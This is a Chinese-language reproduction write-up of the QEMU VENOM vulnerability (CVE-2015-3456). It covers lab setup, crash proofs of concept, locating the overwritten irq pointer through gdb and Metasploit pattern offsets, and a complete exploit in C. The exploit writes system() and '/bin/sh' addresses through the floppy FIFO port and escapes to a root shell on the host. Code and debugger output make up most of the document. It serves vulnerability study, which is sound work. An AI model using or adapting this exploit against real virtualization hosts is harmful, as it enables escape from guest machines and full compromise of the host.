CVE-2015-3456 漏洞复线

> 漏洞编号: qemu kvm CVE-2015-3456 (VENOM)
>
> 宿主机版本: CentOS Linux release 7.9.2009 (Core)
>
> QEMU 版本: QEMU emulator version 1.5.3
>
> QEMU 虚拟机版本: debian_squeeze_amd64_standard.qcow2
>
> 初稿日期: 02/24/2021
>
> 最终修改: 02/25/2021

0x00 说明

本来打算分析 `CVE-2020-14364` ，但是其利用链实在太长了，退而求其次，先把 `CVE-2015-3456` 分析了，等经验丰富一点了，再去分析 `14364` 。`CVE-2015-3456` 是一个经典的堆溢出漏洞，前辈们已经针对他写了很多的分析文档，我这里只是简单的复现一下，如果有什么谬误，请及时联系（但我就不留联系方式，你打我啊）。

`CVE-2015-3456` 虚拟机逃逸的主要目的是利用 `qemu_set_irq` 执行一个 `handler` 函数（本文执行的是 `<system>` ），从而在宿主机中运行自己想要的代码。`opaque` 也就是 `qemu_set_irq` 的参数可操作性很大，因为堆空间实在太大了，而且也不存在什么坏字符（据说有，但我没遇到），“你甚至可以编译一个地址无关的服务器拷贝进去然后运行他”。

0x01 环境配置

1. 虚拟机启动脚本 `vm.sh`

```
gdb --args \
    qemu-system-x86_64 \
    -m 1G \
    -hda debian_squeeze_amd64_standard.qcow2 \
    -net user,hostfwd=tcp::22222-:22 \
    -net nic \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -smp cores=2,threads=1 \
    -enable-kvm \
    -cpu kvm64,+smep
```

2. 启动后可以在宿主机通过 ssh 连接虚拟机

```
$ ssh -p 22222 root@127.0.0.1
```

3. 可以通过 scp 传输文件

```
$ scp -P 22222 exp root@127.0.0.1:/root/
```

0x02 漏洞复现

01. 测试现有 POC

从 *参考资料1* 中复制现有 POC 并编译上传

```
$ gedit cve-2015-3456.poc01.c
$ gcc cve-2015-3456.poc01.c -o exp
$ scp -P 22222 exp root@127.0.0.1:/root/
# Password: root
```

现有 POC

```
#include <sys/io.h>
#include <stdio.h>

#define FIFO 0x3f5

int main()
{
  int i;
  iopl(3);
  outb(0x08e,0x3f5);
  for(i = 0;i < 10000000;i++)
    outb(0x42,0x3f5);
  return 0;
}
```

连接到 QEMU 虚拟机，并运行 POC

```
$ ssh -p 22222 root@127.0.0.1
# Password: root
$ ./exp
```

错误信息如下

```
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/local/bin/qemu-system-x86_64...done.
(gdb) r
Starting program: /usr/local/bin/qemu-system-x86_64 -m 1G -hda debian_squeeze_amd64_standard.qcow2 -net user,hostfwd=tcp::22222-:22 -net nic -netdev user,id=t
0, -device e1000,netdev=t0,id=nic0 -smp cores=2,threads=1 -enable-kvm -cpu kvm64,+smep
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

(process:3333): GLib-WARNING **: 18:12:14.718: gmem.c:489: custom memory allocation vtable not supported
[New Thread 0x7ffff5372700 (LWP 3339)]
[New Thread 0x7fffeffff700 (LWP 3341)]
[New Thread 0x7fffef7fe700 (LWP 3342)]
[Thread 0x7ffff5372700 (LWP 3339) exited]
[New Thread 0x7ffff5372700 (LWP 3391)]

Program received signal SIGSEGV, Segmentation fault.
slirp_pollfds_poll (pollfds=0x5555565c3600, select_error=0) at slirp/slirp.c:483
483                                     so->pollfds_idx).revents;
Missing separate debuginfos, use: debuginfo-install SDL-1.2.15-17.el7.x86_64 libX11-1.6.7-3.el7_9.x86_64 libXau-1.0.8-2.1.el7.x86_64 libXcursor-1.1.15-1.el7.x
86_64 libXext-1.3.3-3.el7.x86_64 libXfixes-5.0.3-1.el7.x86_64 libXrandr-1.5.1-2.el7.x86_64 libXrender-0.9.10-1.el7.x86_64 libxcb-1.13-1.el7.x86_64 pcre-8.32-1
7.el7.x86_64
(gdb) l
478                     so_next = so->so_next;
479
480                     revents = 0;
481                     if (so->pollfds_idx != -1) {
482                         revents = g_array_index(pollfds, GPollFD,
483                                     so->pollfds_idx).revents;
484                     }
485
486                     if (so->so_state & SS_NOFDREF || so->s == -1) {
487                         continue;
(gdb)
```

寄存器信息

```
(gdb) i r
rax            0x5557689909d0   93833905375696
rbx            0x555555d1e6b0   93825000400560
rcx            0x0      0
rdx            0x55555686f7c0   93825012266944
rsi            0x7fffffffd950   140737488345424
rdi            0x1      1
rbp            0x7fffffffda60   0x7fffffffda60
rsp            0x7fffffffda20   0x7fffffffda20
r8             0x1      1
r9             0xab     171
r10            0x8      8
r11            0xb436959fadf6a  3170344504057706
r12            0x5555555c3520   93824992687392
r13            0x7fffffffdef0   140737488346864
r14            0x0      0
r15            0x0      0
rip            0x5555557a10a6   0x5555557a10a6 <slirp_pollfds_poll+305>
eflags         0x210202 [ IF RF ID ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb)
```

调用堆栈

```
(gdb) bt
#0  slirp_pollfds_poll (pollfds=0x5555565c3600, select_error=0) at slirp/slirp.c:483
#1  0x0000555555751aa5 in main_loop_wait (nonblocking=0) at main-loop.c:467
#2  0x00005555557d932b in main_loop () at vl.c:2029
#3  0x00005555557e08c6 in main (argc=18, argv=0x7fffffffdef8, envp=0x7fffffffdf90) at vl.c:4419
(gdb)
```

02. 寻找 RIP 地址

使用 msf 生成字符串

```
$ msf-pattern_create -l 10000
```

```
$ gedit cve-2015-3456.test.c
$ gcc cve-2015-3456.test.c -o exp
$ scp -P 22222 exp root@127.0.0.1:/root/
# Password: root
```

POC 源码

```
#include <sys/io.h>
#include <stdio.h>

// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int
count);

#define FIFO 0x3f5

// buf太长了，在正文中省略
unsigned char buf[] =  "Aa0...1Mv2M";

int main()
{
    int i;
    iopl(3);
    outb(0x08e,0x3f5);
    for(i = 0;i < 10000;i++)
    {
        outb(0x42,0x3f5);
    }
    outsb(0x3f5, buf, 10000);
    return 0;
}
```

```
$ ssh -p 22222 root@127.0.0.1
# Password: root
$ ./exp
```

得到如下的信息

```
(gdb) r
Starting program: /usr/local/bin/qemu-system-x86_64 -m 1G -hda debian_squeeze_amd64_standard.qcow2 -net user,hostfwd=tcp::22222-:22 -net nic -netdev user,id=t
0, -device e1000,netdev=t0,id=nic0 -smp cores=2,threads=1 -enable-kvm -cpu kvm64,+smep
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

(process:3816): GLib-WARNING **: 18:27:14.341: gmem.c:489: custom memory allocation vtable not supported
[New Thread 0x7ffff5372700 (LWP 3819)]
[New Thread 0x7fffeffff700 (LWP 3820)]
[New Thread 0x7fffef7fe700 (LWP 3821)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffeffff700 (LWP 3820)]
0x0000555555664184 in qemu_set_irq (irq=0x7a45347a45337a45, level=0) at hw/core/irq.c:38
38          irq->handler(irq->opaque, irq->n, level);
(gdb) l
33      void qemu_set_irq(qemu_irq irq, int level)
34      {
35          if (!irq)
36              return;
37
38          irq->handler(irq->opaque, irq->n, level);
39      }
40
41      qemu_irq *qemu_extend_irqs(qemu_irq *old, int n_old, qemu_irq_handler handler,
42                                 void *opaque, int n)
(gdb)
```

寄存器

```
Applications   Places   Terminal                                                    Wed 08:06
                                   test@localhost:~/Documents
File   Edit   View   Search   Terminal   Tabs   Help
test@localhost:~/Documents   user@debian-amd64: ~   test@localhost:~/Documents/Exploits/cve-2015-3456
[Thread 0x7fffef7fe700 (LWP 3987) exited]
[Thread 0x7fffeffff700 (LWP 3986) exited]
[Thread 0x7ffff7fd7900 (LWP 3977) exited]

Program terminated with signal SIGQUIT, Quit.
The program no longer exists.
(gdb) r
Starting program: /usr/local/bin/qemu-system-x86_64 -m 1G -hda debian_squeeze_amd64_standard.qcow2 -net user,hostfwd=tcp::22222-:22 -net nic -netdev user,id=t
0, -device e1000,netdev=t0,id=nic0 -smp cores=2,threads=1 -enable-kvm -cpu kvm64,+smep
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

(process:3993): GLib-WARNING **: 08:05:21.393: gmem.c:489: custom memory allocation vtable not supported
[New Thread 0x7ffff5372700 (LWP 3996)]
[New Thread 0x7fffeffff700 (LWP 3997)]
[New Thread 0x7fffef7fe700 (LWP 3998)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffef7fe700 (LWP 3998)]
0x000055555566419c in qemu_set_irq (irq=0x7ffff6be2520 <system>, level=0) at hw/core/irq.c:38
38          irq->handler(irq->opaque, irq->n, level);
(gdb) l
33      void qemu_set_irq(qemu_irq irq, int level)
34      {
35          if (!irq)
36              return;
37
38          irq->handler(irq->opaque, irq->n, level);
39      }
40
41      qemu_irq *qemu_extend_irqs(qemu_irq *old, int n_old, qemu_irq_handler handler,
42                                 void *opaque, int n)
(gdb) ir
Undefined command: "ir".  Try "help".
(gdb) i r
rax            0xf2e66ffff602be9        1093925009184795625
rbx            0x7fffef7fe700   140737211524864
rcx            0x900000000000841f       -8070450532247895009
rdx            0x0      0
rsi            0x88978b48       2291632968
test@localhost:~/Documents   cve-2015-3456   QEMU
```

调用堆栈

```
(gdb) bt
#0  0x0000555555664184 in qemu_set_irq (irq=0x7a45347a45337a45, level=0) at hw/core/irq.c:38
#1  0x00005555556a59df in qemu_irq_lower (irq=0x7a45347a45337a45) at /root/Documents/Test/test01/qemu-1.5.3/include/hw/irq.h:19
#2  0x00005555556aa803 in ide_ioport_read (opaque=0x5555567b7a38, addr1=503) at hw/ide/core.c:1715
#3  0x000055555585bc49 in memory_region_iorange_read (iorange=0x5555567b3a20, offset=503, width=1, data=0x7fffefffebd8)
    at /root/Documents/Test/test01/qemu-1.5.3/memory.c:399
#4  0x00005555558541c2 in ioport_readb_thunk (opaque=0x5555567b3a20, addr=503) at /root/Documents/Test/test01/qemu-1.5.3/ioport.c:186
#5  0x0000555555853c2c in ioport_read (index=0, address=503) at /root/Documents/Test/test01/qemu-1.5.3/ioport.c:70
#6  0x0000555555854980 in cpu_inb (addr=503) at /root/Documents/Test/test01/qemu-1.5.3/ioport.c:309
#7  0x000055555585857f in kvm_handle_io (port=503, data=0x7ffff7fed000, direction=0, size=1, count=1)
    at /root/Documents/Test/test01/qemu-1.5.3/kvm-all.c:1470
#8  0x0000555555858c8f in kvm_cpu_exec (env=0x555556739de0) at /root/Documents/Test/test01/qemu-1.5.3/kvm-all.c:1634
#9  0x00005555557e6f82 in qemu_kvm_cpu_thread_fn (arg=0x555556739de0) at /root/Documents/Test/test01/qemu-1.5.3/cpus.c:764
#10 0x00007ffff6bdaea5 in start_thread (arg=0x7fffeffff700) at pthread_create.c:307
#11 0x00007ffff5e049fd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
(gdb)
```

`ide_ioport_read` 中 `opaque` 被覆盖，通过 `opaque` 地址信息 辅助定位

```
(gdb) x/16xw 0x5555567b7a38
0x5555567b7a38: 0x6a43306a      0x326a4331      0x43336a43      0x6a43346a
0x5555567b7a48: 0x366a4335      0x43376a43      0x6a43386a      0x306b4339
0x5555567b7a58: 0x43316b43      0x6b43326b      0x346b4333      0x43356b43
0x5555567b7a68: 0x6b43366b      0x386b4337      0x43396b43      0x6c43306c
(gdb)
```

使用 msf 定位 RIP 和 `ide_ioport_read`

```
# 0x7a45347a45337a45
$ msf-pattern_offset -l 10000 -q 7a45347a45337a45
[*] Exact match at offset 3879

# 0x6a43306a
$ msf-pattern_offset -l 10000 -q 6a43306a
[*] Exact match at offset 1831
```

```
┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -l 10000 -q 7a45347a45337a45
[*] Exact match at offset 3879

┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -l 10000 -q 6a43306a
[*] Exact match at offset 1831

┌──(kali㉿kali)-[~]
└─$
```

计算 RIP 所在偏移

```
# 3879 - 1831 = 0x800
# 0x5555567b7a38 + 0x800 = 0x5555567B8238
# 0x5555567B8238 + 8 = 0x5555567B8240
# RIP 所在位置为 0x5555567B8238
# RIP之后的位置是 0x5555567B8240
```

03. 修改 POC

```
$ gedit cve-2015-3456.poc02.c
$ gcc cve-2015-3456.poc02.c -o exp
$ scp -P 22222 exp root@127.0.0.1:/root/
# Password: root
```

POC 源码

```
#include <sys/io.h>
#include <stdio.h>

// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int
count);

#define FIFO 0x3f5

int main()
{
    int i;
    iopl(3);
    outb(0x08e,0x3f5);
    for(i = 0;i < 13879;i++)
    {
        outb(0x42,0x3f5);
    }
    outsb(0x3f5, "AAAAAAAA", 8);
    for(i = 0;i < 100;i++)
    {
        outb(0x42,0x3f5);
    }
    return 0;
}
```

查看定位信息

```
x/16xw 0x5555567B8238
```

结果如下图所示，定位没有问题

```
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffeffff700 (LWP 4033)]
0x0000555555664184 in qemu_set_irq (irq=0x4141414141414141, level=0) at hw/core/irq.c:38
38          irq->handler(irq->opaque, irq->n, level);
(gdb) x/16xw 0x5555567B8238
0x5555567b8238: 0x41414141      0x41414141      0x42424242      0x42424242
0x5555567b8248: 0x42424242      0x42424242      0x42424242      0x42424242
0x5555567b8258: 0x42424242      0x42424242      0x42424242      0x42424242
0x5555567b8268: 0x42424242      0x42424242      0x42424242      0x42424242
(gdb)
```

0x03 编写 EXP

根据 `参考资料一` 寻找可以利用的点

```
(gdb) p system
$3 = {int (const char *)} 0x7ffff6be2520 <system>
(gdb) p __libc_start_main
$4 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **,
char **), void (*)(void), void (*)(void),
    void *)} 0x7ffff5d28460 <__libc_start_main>
(gdb) find 0x7ffff5d28460,+2200000,"/bin/sh"
0x7ffff5e8dee9
warning: Unable to access 16000 bytes of target memory at 0x7ffff5f12bf1,
halting search.
1 pattern found.
(gdb)
```

```
(gdb) p system
$3 = {int (const char *)} 0x7ffff6be2520 <system>
(gdb) p __libc_start_main
$4 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void),
    void *)} 0x7ffff5d28460 <__libc_start_main>
(gdb) find 0x7ffff5d28460,+2200000,"/bin/sh"
0x7ffff5e8dee9
warning: Unable to access 16000 bytes of target memory at 0x7ffff5f12bf1, halting search.
1 pattern found.
(gdb)
```

需要用到如下信息

```
# system 0x7ffff6be2520
# "/bin/sh" 0x7ffff5e8dee9
# RIP之后的位置 0x5555567B8240
```

01. 首先测试一下 `qemu_set_irq`

```
$ gedit cve-2015-3456.exp.c
$ gcc cve-2015-3456.exp.c -o exp
$ scp -P 22222 exp root@127.0.0.1:/root/
# Password: root
```

C代码

```
#include <sys/io.h>
#include <stdio.h>

// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int
count);

#define FIFO 0x3f5

int main()
{
    int i;
    iopl(3);
    outb(0x08e,FIFO);
    for(i = 0;i < 13879;i++)
    {
        outb(0x42,FIFO);
    }

#if 1
    // 0x7f ff f6 be 25 20
    // $1 = {int (const char *)} 0x7ffff6be2520 <system>
    outb(0x20,FIFO);
    outb(0x25,FIFO);
    outb(0xbe,FIFO);
    outb(0xf6,FIFO);
    outb(0xff,FIFO);
    outb(0x7f,FIFO);
    outb(0x00,FIFO);
    outb(0x00,FIFO);

    // 0x7f ff f5 e8 de e9
    // 0x7ffff5e8dee9:  "/bin/sh"
    outb(0xe9,FIFO);
    outb(0xde,FIFO);
```

```
    outb(0xe8,FIFO);
    outb(0xf5,FIFO);
    outb(0xff,FIFO);
    outb(0x7f,FIFO);
    outb(0x00,FIFO);
    outb(0x00,FIFO);

#endif

    for(i = 0;i < 100;i++)
    {
        outb(0x42,FIFO);
    }

    return 0;
}
```

查看堆栈信息

```
# 查看调用堆栈，可以看到调用链是 ide_ioport_read -> qemu_irq_lower -> qemu_set_irq
(gdb) bt

# 查看 irq 中的信息，目标是把 handler 指向 <system> ， opaque 指向 "/bin/sh"
# 从下面的截图中可以看到 irq 当前指向的是 <system> 地址
(gdb) p irq[0]

# 确认一下，确实指向的是 <system> 地址
(gdb) x/16xw 0x7ffff6be2520
```

```
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffeffff700 (LWP 7392)]
0x000055555566419c in qemu_set_irq (irq=0x7ffff6be2520 <system>, level=0) at hw/core/irq.c:38
38          irq->handler(irq->opaque, irq->n, level);
(gdb) bt
#0  0x000055555566419c in qemu_set_irq (irq=0x7ffff6be2520 <system>, level=0) at hw/core/irq.c:38
#1  0x00005555556a59df in qemu_irq_lower (irq=0x7ffff6be2520 <system>) at /root/Documents/Test/test01/qemu-1.5.3/include/hw/irq.h:19
#2  0x00005555556aa803 in ide_ioport_read (opaque=0x5555567b7a38, addr1=503) at hw/ide/core.c:1715
#3  0x000055555585bc49 in memory_region_iorange_read (iorange=0x5555567b3a20, offset=503, width=1, data=0x7fffefffebd8)
    at /root/Documents/Test/test01/qemu-1.5.3/memory.c:399
#4  0x00005555558541c2 in ioport_readb_thunk (opaque=0x5555567b3a20, addr=503) at /root/Documents/Test/test01/qemu-1.5.3/ioport.c:186
#5  0x0000555555853c2c in ioport_read (index=0, address=503) at /root/Documents/Test/test01/qemu-1.5.3/ioport.c:70
#6  0x0000555555854980 in cpu_inb (addr=503) at /root/Documents/Test/test01/qemu-1.5.3/ioport.c:309
#7  0x000055555585857f in kvm_handle_io (port=503, data=0x7ffff7fed000, direction=0, size=1, count=1)
    at /root/Documents/Test/test01/qemu-1.5.3/kvm-all.c:1470
#8  0x0000555555858c8f in kvm_cpu_exec (env=0x555556739de0) at /root/Documents/Test/test01/qemu-1.5.3/kvm-all.c:1634
#9  0x00005555557e6f82 in qemu_kvm_cpu_thread_fn (arg=0x555556739de0) at /root/Documents/Test/test01/qemu-1.5.3/cpus.c:764
#10 0x00007ffff6bdaea5 in start_thread (arg=0x7fffeffff700) at pthread_create.c:307
#11 0x00007ffff5e049fd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
(gdb) p irq[0]
$1 = {handler = 0xf2e66ffff602be9, opaque = 0x900000000000841f, n = -2003334328}
(gdb) x/16xw 0x7ffff6be2520
0x7ffff6be2520 <system>:        0xff602be9      0x0f2e66ff      0x0000841f      0x90000000
0x7ffff6be2530 <__flockfile>:   0x88978b48      0x49000000      0x4c64f889      0x10250c8b
0x7ffff6be2540 <__flockfile+16>:        0x4c000000      0x74084a3b      0x0001be1f      0xc0310000
0x7ffff6be2550 <__flockfile+32>:        0x32b10ff0      0x8b491775      0x00008880      0x908b4900
(gdb)
```

02. 修改 POC 为 EXP

EXP 源码

```
#include <sys/io.h>
#include <stdio.h>

// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int
count);

#define FIFO 0x3f5

int main()
{
    int i;
    iopl(3);
    outb(0x08e,FIFO);
    for(i = 0;i < 13879;i++)
    {
        outb(0x42,FIFO);
    }

#if 1
    // 0x5555567B8240
    // 0x55 55 56 7B 82 40
    outb(0x40,FIFO);
    outb(0x82,FIFO);
    outb(0x7B,FIFO);
    outb(0x56,FIFO);
    outb(0x55,FIFO);
    outb(0x55,FIFO);
    outb(0x00,FIFO);
    outb(0x00,FIFO);
#endif

#if 1
    // 0x7f ff f6 be 25 20
    // $1 = {int (const char *)} 0x7ffff6be2520 <system>
    outb(0x20,FIFO);
    outb(0x25,FIFO);
    outb(0xbe,FIFO);
    outb(0xf6,FIFO);
    outb(0xff,FIFO);
    outb(0x7f,FIFO);
    outb(0x00,FIFO);
    outb(0x00,FIFO);
```

```
    // 0x7f ff f5 e8 de e9
    // 0x7ffff5e8dee9:  "/bin/sh"
    outb(0xe9,FIFO);
    outb(0xde,FIFO);
    outb(0xe8,FIFO);
    outb(0xf5,FIFO);
    outb(0xff,FIFO);
    outb(0x7f,FIFO);
    outb(0x00,FIFO);
    outb(0x00,FIFO);

#endif

    for(i = 0;i < 100;i++)
    {
        outb(0x42,FIFO);
    }

    return 0;
}
```

编译上传

```
$ gedit cve-2015-3456.exp.c
$ gcc cve-2015-3456.exp.c -o exp
$ scp -P 22222 exp root@127.0.0.1:/root/
# Password: root
```

连接服务器，运行exp

```
$ ssh -p 22222 root@127.0.0.1
# Password: root
$ ./exp
```

最终结果是在宿主机上开启了一个 shell

```
(process:4494): GLib-WARNING **: 18:58:36.442: gmem.c:489: custom memory allocation vtable not supported
[New Thread 0x7ffff5372700 (LWP 4496)]
[New Thread 0x7fffeffff700 (LWP 4498)]
[New Thread 0x7fffef7fe700 (LWP 4499)]
[Detaching after fork from child process 4548]
sh-4.2# [Thread 0x7ffff5372700 (LWP 4496) exited]
whoami
root
sh-4.2# cat /etc/redhat-release
CentOS Linux release 7.9.2009 (Core)
sh-4.2#
```

完成。

0x04 总结

1. 虽然这应该是最基本的堆溢出漏洞，把版本和保护都降到十年前了，但第一次复现 64 位 linux 的 exploit 还是学到了好多，比如代码的定位，gdb调试等等。
2. 在 *寻找RIP地址* 那一步卡了很久，一直没想通怎么找到堆栈的位置，后来根据 *参考资料5* 才想到可以根据调用堆栈来分析。
3. 希望报告提交的不算太迟，之后分析 vmware 的 漏洞吧。
4. 镜像 和 exp 我再测试一下再上传。

参考资料

1. VENOM漏洞分析与利用
2. VENOM "毒液"漏洞分析
3. QEMU 下载地址
4. QEMU 虚拟机的下载地址
5. cve-2015-3456漏洞分析与利用